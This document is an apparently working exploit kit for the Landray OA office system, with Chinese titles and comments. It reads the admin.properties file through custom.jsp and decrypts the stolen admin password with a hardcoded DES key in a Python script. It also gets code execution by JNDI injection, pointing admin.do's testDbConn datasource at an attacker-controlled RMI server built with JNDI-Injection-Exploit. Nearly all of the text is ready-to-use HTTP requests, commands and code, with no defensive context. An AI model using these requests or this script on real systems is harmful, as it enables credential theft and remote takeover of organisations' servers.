蓝凌oa密码读取rce

/sys/ui/extend/varkind/custom.jsp

/admin.do

POST //sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 192.168.1.88:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

var=%7B%22body%22%3A%7B%22file%22%3A%22%2FWEB-INF%2FKmssConfig%2Fadmin.properties%22%7D%7D

http://192.168.1.88:8080/admin.do

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping ldycd7.dnslog.cn" -A 192.168.1.1

POST /admin.do HTTP/1.1
Host: xx.xx.xx.xx
Cookie: JSESSIONID=011EBEEDF3323F7CFFCB31BF42B48B53
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin: 
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

method=testDbConn&datasource=rmi://xx.xx.xx.xx:1099/xxxxx

import requests
import sys
import re
from Crypto.Cipher import DES
import base64
requests.packages.urllib3.disable_warnings()

proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}

class EncryptDate:
    def __init__(self, key):
        self.key = key
        self.length = DES.block_size
        self.aes = DES.new(self.key, DES.MODE_ECB)
        self.unpad = lambda date: date[0:-ord(date[-1])]

    def pad(self, text):
        count = len(text.encode('utf-8'))
        print(count)
        add = self.length - (count % self.length)
        print(add)
        entext = text + (chr(add) * add)
        print(entext)
        return entext

    def decrypt(self, decrData):  # 解密函数
        print('==========>>密文解密中')
        res = base64.decodebytes(decrData.encode("utf8"))
        msg = self.aes.decrypt(res).decode("utf8")
        print('==========>>解密成功admin的密码为：'+msg)

def Landraypass(url):
    urllist = url+'/sys/ui/extend/varkind/custom.jsp'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
                     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                     "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate",
                     "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1",
                     "Content-Type": "application/x-www-form-urlencoded"}
    data = {"var": "{\"body\":{\"file\":\"/WEB-INF/KmssConfig/admin.properties\"}}"}
    passlist = requests.post(urllist, headers=headers, proxies=proxy, data=data)
    print('==========>>正在抓取DES密文')
    passDes = re.findall('(?<=password = )(.*?)(?=\\\\r)',passlist.text,re.I)
    if len(passDes) == 0 :
        print('==========!!:抓取密码失败可进行手动测试确认')
    else:
        passDeslist = passDes[0]
        print('==========>>密文抓取成功：'+passDeslist)
        cr = EncryptDate(b'kmssAdmi')
        cr.decrypt(passDeslist)

if __name__ == '__main__':
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Landraypass(url)
    else:
        print("python3 Landraypass.py http://xx.xx.xx.xx")